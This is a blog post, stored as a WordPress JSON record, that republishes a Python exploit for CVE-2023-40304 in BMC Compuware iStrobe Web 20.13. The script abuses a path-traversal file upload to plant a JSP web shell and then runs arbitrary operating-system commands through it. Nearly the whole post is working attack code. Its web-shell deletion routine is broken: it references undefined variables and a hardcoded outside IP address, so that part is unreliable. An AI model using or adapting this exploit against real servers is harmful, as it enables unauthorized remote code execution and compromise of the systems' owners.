{"id":56265,"date":"2024-04-15T21:19:44","date_gmt":"2024-04-15T17:19:44","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178059\/bmcciw2013-shell.txt"},"modified":"2024-04-15T21:19:44","modified_gmt":"2024-04-15T17:19:44","slug":"bmc-compuware-istrobe-web-20-13-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/bmc-compuware-istrobe-web-20-13-shell-upload\/","title":{"rendered":"BMC Compuware iStrobe Web 20.13 Shell Upload"},"content":{"rendered":"<p>#!\/usr\/bin\/env python3<\/p>\n<p># Exploit Title: Pre-auth RCE on Compuware iStrobe Web<br \/># Date: 01-08-2023<br \/># Exploit Author: trancap<br \/># Vendor Homepage: https:\/\/www.bmc.com\/<br \/># Version: BMC Compuware iStrobe Web &#8211; 20.13<br \/># Tested on: zOS# CVE : CVE-2023-40304<br \/># To exploit this vulnerability you&#8217;ll need &#8220;Guest access&#8221; enabled. The vulnerability is quite simple and impacts a web upload form, allowing a path traversal and an arbitrary file upload (.jsp files)<br \/># The vulnerable parameter of the form is &#8220;fileName&#8221;. Using the form, one can upload a webshell (content of the webshell in the &#8220;topicText&#8221; parameter).# I contacted the vendor but he didn&#8217;t consider this a vulnerability because of the Guest access needed.<\/p>\n<p>import requests<br \/>import urllib.parse<br \/>import argparse<br \/>import sys<\/p>\n<p>def upload_web_shell(url):<br \/>data = {&#8220;fileName&#8221;:&#8221;..\/jsp\/userhelp\/ws.jsp&#8221;,&#8221;author&#8221;:&#8221;Guest&#8221;,&#8221;name&#8221;:&#8221;test&#8221;,&#8221;action&#8221;:&#8221;open&#8221;,&#8221;topicText&#8221;:&#8221;&lt;%@<br \/>page import=\\&#8221;java.lang.*,java.io.*,java.util.*\\&#8221; %&gt;&lt;%Process<br \/>p=Runtime.getRuntime().exec(request.getParameter(\\&#8221;cmd\\&#8221;));BufferedReader<br \/>stdInput = new BufferedReader(new<br \/>InputStreamReader(p.getInputStream()));BufferedReader stdError = new<br \/>BufferedReader(new InputStreamReader(p.getErrorStream()));String<br \/>s=\\&#8221;\\&#8221;;while((s=stdInput.readLine()) !=<br \/>null){out.println(s);};s=\\&#8221;\\&#8221;;while((s=stdError.readLine()) !=<br \/>null){out.println(s);};%&gt;&#8221;,&#8221;lang&#8221;:&#8221;en&#8221;,&#8221;type&#8221;:&#8221;MODULE&#8221;,&#8221;status&#8221;:&#8221;PUB&#8221;}<br \/># If encoded, the web shell will not be uploaded properly<br \/>data = urllib.parse.urlencode(data, safe='&#8221;*&lt;&gt;,=()\/;{}!&#8217;)<\/p>\n<p># Checking if web shell already uploaded<br \/>r = requests.get(f&#8221;{url}\/istrobe\/jsp\/userhelp\/ws.jsp&#8221;, verify=False)<br \/>if r.status_code != 404:<br \/>return<\/p>\n<p>r = requests.post(f&#8221;{url}\/istrobe\/userHelp\/saveUserHelp&#8221;, data=data,<br \/>verify=False)<\/p>\n<p>if r.status_code == 200:<br \/>print(f&#8221;[+] Successfully uploaded web shell, it should be<br \/>accessible at {url}\/istrobe\/jsp\/userhelp\/ws.jsp&#8221;)<br \/>else:<br \/>sys.exit(&#8220;[-] Something went wrong while uploading the web shell&#8221;)<\/p>\n<p>def delete_web_shell(url):<br \/>paramsPost = {&#8220;fileName&#8221;:&#8221;..\/jsp\/userhelp\/ws.jsp&#8221;,&#8221;author&#8221;:&#8221;Guest&#8221;,&#8221;name&#8221;:&#8221;test&#8221;,&#8221;action&#8221;:&#8221;delete&#8221;,&#8221;lang&#8221;:&#8221;en&#8221;,&#8221;type&#8221;:&#8221;MODULE&#8221;,&#8221;status&#8221;:&#8221;PUB&#8221;}<br \/>response = session.post(&#8220;http:\/\/220.4.147.38:6301\/istrobe\/userHelp\/deleteUserHelp&#8221;,<br \/>data=paramsPost, headers=headers, cookies=cookies)<\/p>\n<p>if r.status_code == 200:<br \/>print(f&#8221;[+] Successfully deleted web shell&#8221;)<br \/>else:<br \/>sys.exit(&#8220;[-] Something went wrong while deleting the web shell&#8221;)<\/p>\n<p>def run_cmd(url, cmd):<br \/>data = f&#8221;cmd={cmd}&#8221;<br \/>r = requests.post(f&#8221;{url}\/istrobe\/jsp\/userhelp\/ws.jsp&#8221;, data=data,<br \/>verify=False)<\/p>\n<p>if r.status_code == 200:<br \/>print(r.text)<br \/>else:<br \/>sys.exit(f'[-] Something went wrong while executing &#8220;{cmd}&#8221; command&#8217;)<\/p>\n<p>parser = argparse.ArgumentParser(prog=&#8217;exploit_cve_2023_40304.py&#8217;, description=&#8217;CVE-2023-40304 &#8211; Pre-auth file upload vulnerability + path traversal to achieve RCE&#8217;)<br \/>parser.add_argument(&#8216;url&#8217;, help=&#8217;Vulnerable URL to target. Must be like http(s):\/\/vuln.target&#8217;)<br \/>parser.add_argument(&#8216;-c&#8217;, &#8216;&#8211;cmd&#8217;, help=&#8217;Command to execute on the remote host (Defaults to &#8220;whoami&#8221;)&#8217;, default=&#8217;whoami&#8217;)<br \/>parser.add_argument(&#8216;&#8211;rm&#8217;, help=&#8217;Deletes the uploaded web shell&#8217;, action=&#8217;store_true&#8217;)<br \/>args = parser.parse_args()<\/p>\n<p>upload_web_shell(args.url)<br \/>run_cmd(args.url, args.cmd)<\/p>\n<p>if args.rm:<br \/>delete_web_shell(args.url)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>#!\/usr\/bin\/env python3 # Exploit Title: Pre-auth RCE on Compuware iStrobe Web# Date: 01-08-2023# Exploit Author: trancap# Vendor Homepage: https:\/\/www.bmc.com\/# Version: BMC Compuware iStrobe Web &#8211; 20.13# Tested on: zOS# CVE : CVE-2023-40304# To exploit this vulnerability you&#8217;ll need &#8220;Guest access&#8221; enabled. The vulnerability is quite simple and impacts a web upload form, allowing a path &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56265","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56265","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56265"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56265\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56265"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56265"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56265"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}